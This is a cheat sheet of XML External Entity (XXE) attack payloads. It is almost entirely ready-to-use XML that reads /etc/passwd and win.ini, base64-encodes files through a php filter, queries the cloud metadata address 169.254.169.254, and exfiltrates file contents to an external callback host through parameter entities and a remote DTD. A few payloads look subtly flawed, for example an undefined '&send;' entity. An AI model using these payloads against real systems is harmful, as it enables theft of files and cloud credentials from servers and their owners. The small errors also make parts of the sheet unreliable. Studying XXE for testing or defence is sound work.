XML External Entity exploitation techniques
Read local files via XXE on Linux systems
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
<root>&test;</root>
Read Windows system files
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]>
<root>&test;</root>
Base64 encode file contents to avoid parsing errors
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=/etc/passwd'>]>
<root>&test;</root>
Make requests to internal services and cloud metadata
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'http://169.254.169.254/latest/meta-data/'>]>
<root>&test;</root>
Exfiltrate data to external callback server
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://callback.l4ughingm4n.dev/xxe.dtd">
%dtd;]>
<root>&send;</root>
Use parameter entities for filter bypasses
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'https://callback.l4ughingm4n.dev/?x=%file;'>">
%eval;
%exfil;
]>
Content for xxe.dtd on your callback server
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://callback.l4ughingm4n.dev/?x=%data;'>">